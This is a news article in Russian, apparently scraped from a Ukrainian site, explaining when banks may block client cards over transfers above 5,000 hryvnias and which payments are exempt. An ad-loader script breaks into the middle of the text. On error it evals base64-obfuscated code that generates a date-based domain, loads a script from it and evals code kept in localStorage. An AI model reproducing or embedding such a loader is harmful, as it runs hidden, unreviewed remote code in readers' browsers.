В Украине банки могут блокировать клиентские карты и требовать разъяснения.
О том, по какой причине это может произойти и что нужно знать украинцам — информирует Акцент со ссылкой на РБК-Украина.
В соответствии с законом о финансовом мониторинге, в случае нетипичных операций, несоответствующих финансовым возможностям клиента, банки имеют право заблокировать его карту.
Предельная сумма анонимных денежных переводов
Исходя из норм закона «О предотвращении и противодействии легализации (отмыванию) доходов, полученных преступным путем…», банки обязаны идентифицировать плательщиков: при этом, суммой до 5 тыс. грн наличными можно пополнять счет или карту без проведения идентификации. В случае, если за один день на счет поступает несколько платежей по 5 тысяч гривен, банк имеет право временно заблокировать счет клиента и обратиться к нему за объяснениями.
В сентябре 2021 года был принят закон, которым максимальную сумму переводов без идентификации увеличили на 1 гривну. Такое «округление» было сделано для удобства, ведь в большинстве случаев осуществление перевода суммой до 4999 грн доставляло дискомфорт. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Вдобавок, в том же году в Верховной Раде пытались поднять максимальную сумму переводов, которые осуществляются анонимно, до 25 тысяч гривен, но в итоге, это решение отложили. Стоит отметить, что нормы системы финмониторинга и их жёсткость отличаются в зависимости от банка, который их же и устанавливает.
Нормы закона о финмониторинге не распространяется на:
оплату жилищно-коммунальных услуг, оплату налогов, штрафов, других обязательных сборов и платежей (независимо от суммы);уплату кредита в сумме до 30 тыс. грн;переводы для оплаты товаров и услуг, осуществленные плательщиком при помощи платежной карты или иного электронного платежного средства), если ее номер сопровождает перевод (независимо от суммы);все наличные переводы в пределах Украины в сумме до 5 тыс. грн;снятие средств с собственного счета. Подписывайтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/banki-ukrainy-mogut-blokirovat-karty-klientov-za-perevod-svyshe-5-tysyach-grn-prichina/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
